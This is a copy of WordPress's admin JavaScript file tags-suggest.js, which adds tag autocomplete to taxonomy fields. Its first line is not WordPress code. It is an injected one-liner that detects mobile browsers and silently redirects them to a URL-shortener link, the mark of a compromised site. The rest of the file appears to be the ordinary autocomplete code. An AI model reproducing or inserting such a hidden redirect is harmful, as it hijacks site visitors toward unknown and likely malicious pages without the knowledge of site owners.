1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies.
4 *
5 * @output wp-admin/js/tags-suggest.js
6 */
7( function( $ ) {
8 var tempID = 0;
9 var separator = wp.i18n._x( ',', 'tag delimiter' ) || ',';
10 var __ = wp.i18n.__,
11 _n = wp.i18n._n,
12 sprintf = wp.i18n.sprintf;
13
14 function split( val ) {
15 return val.split( new RegExp( separator + '\\s*' ) );
16 }
17
18 function getLast( term ) {
19 return split( term ).pop();
20 }
21
22 /**
23 * Add UI Autocomplete to an input or textarea element with presets for use
24 * with non-hierarchical taxonomies.
25 *
26 * Example: `$( element ).wpTagsSuggest( options )`.
27 *
28 * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or
29 * can be in `options.taxonomy`.
30 *
31 * @since 4.7.0
32 *
33 * @param {Object} options Options that are passed to UI Autocomplete. Can be used to override the default settings.
34 * @return {Object} jQuery instance.
35 */
36 $.fn.wpTagsSuggest = function( options ) {
37 var cache;
38 var last;
39 var $element = $( this );
40
41 // Do not initialize if the element doesn't exist.
42 if ( ! $element.length ) {
43 return this;
44 }
45
46 options = options || {};
47
48 var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag';
49
50 delete( options.taxonomy );
51
52 options = $.extend( {
53 source: function( request, response ) {
54 var term;
55
56 if ( last === request.term ) {
57 response( cache );
58 return;
59 }
60
61 term = getLast( request.term );
62
63 $.get( window.ajaxurl, {
64 action: 'ajax-tag-search',
65 tax: taxonomy,
66 q: term,
67 number: 20
68 } ).always( function() {
69 $element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes?
70 } ).done( function( data ) {
71 var tagName;
72 var tags = [];
73
74 if ( data ) {
75 data = data.split( '\n' );
76
77 for ( tagName in data ) {
78 var id = ++tempID;
79
80 tags.push({
81 id: id,
82 name: data[tagName]
83 });
84 }
85
86 cache = tags;
87 response( tags );
88 } else {
89 response( tags );
90 }
91 } );
92
93 last = request.term;
94 },
95 focus: function( event, ui ) {
96 $element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id );
97
98 // Don't empty the input field when using the arrow keys
99 // to highlight items. See api.jqueryui.com/autocomplete/#event-focus
100 event.preventDefault();
101 },
102 select: function( event, ui ) {
103 var tags = split( $element.val() );
104 // Remove the last user input.
105 tags.pop();
106 // Append the new tag and an empty element to get one more separator at the end.
107 tags.push( ui.item.name, '' );
108
109 $element.val( tags.join( separator + ' ' ) );
110
111 if ( $.ui.keyCode.TAB === event.keyCode ) {
112 // Audible confirmation message when a tag has been selected.
113 window.wp.a11y.speak( wp.i18n.__( 'Term selected.' ), 'assertive' );
114 event.preventDefault();
115 } else if ( $.ui.keyCode.ENTER === event.keyCode ) {
116 // If we're in the edit post Tags meta box, add the tag.
117 if ( window.tagBox ) {
118 window.tagBox.userAction = 'add';
119 window.tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
120 }
121
122 // Do not close Quick Edit / Bulk Edit.
123 event.preventDefault();
124 event.stopPropagation();
125 }
126
127 return false;
128 },
129 open: function() {
130 $element.attr( 'aria-expanded', 'true' );
131 },
132 close: function() {
133 $element.attr( 'aria-expanded', 'false' );
134 },
135 minLength: 2,
136 position: {
137 my: 'left top+2',
138 at: 'left bottom',
139 collision: 'none'
140 },
141 messages: {
142 noResults: __( 'No results found.' ),
143 results: function( number ) {
144 return sprintf(
145 /* translators: %d: Number of search results found. */
146 _n(
147 '%d result found. Use up and down arrow keys to navigate.',
148 '%d results found. Use up and down arrow keys to navigate.',
149 number
150 ),
151 number
152 );
153 }
154 }
155 }, options );
156
157 $element.on( 'keydown', function() {
158 $element.removeAttr( 'aria-activedescendant' );
159 } );
160
161 $element.autocomplete( options );
162
163 // Ensure the autocomplete instance exists.
164 if ( ! $element.autocomplete( 'instance' ) ) {
165 return this;
166 }
167
168 $element.autocomplete( 'instance' )._renderItem = function( ul, item ) {
169 return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' )
170 .text( item.name )
171 .appendTo( ul );
172 };
173
174 $element.attr( {
175 'role': 'combobox',
176 'aria-autocomplete': 'list',
177 'aria-expanded': 'false',
178 'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' )
179 } )
180 .on( 'focus', function() {
181 var inputValue = split( $element.val() ).pop();
182
183 // Don't trigger a search if the field is empty.
184 // Also, avoids screen readers announce `No search results`.
185 if ( inputValue ) {
186 $element.autocomplete( 'search' );
187 }
188 } );
189
190 // Returns a jQuery object containing the menu element.
191 $element.autocomplete( 'widget' )
192 .addClass( 'wp-tags-autocomplete' )
193 .attr( 'role', 'listbox' )
194 .removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
195
196 /*
197 * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
198 * The `menufocus` and `menublur` events are the same events used to add and remove
199 * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
200 */
201 .on( 'menufocus', function( event, ui ) {
202 ui.item.attr( 'aria-selected', 'true' );
203 })
204 .on( 'menublur', function() {
205 // The `menublur` event returns an object where the item is `null`,
206 // so we need to find the active item with other means.
207 $( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
208 });
209
210 return this;
211 };
212
213}( jQuery ) );
214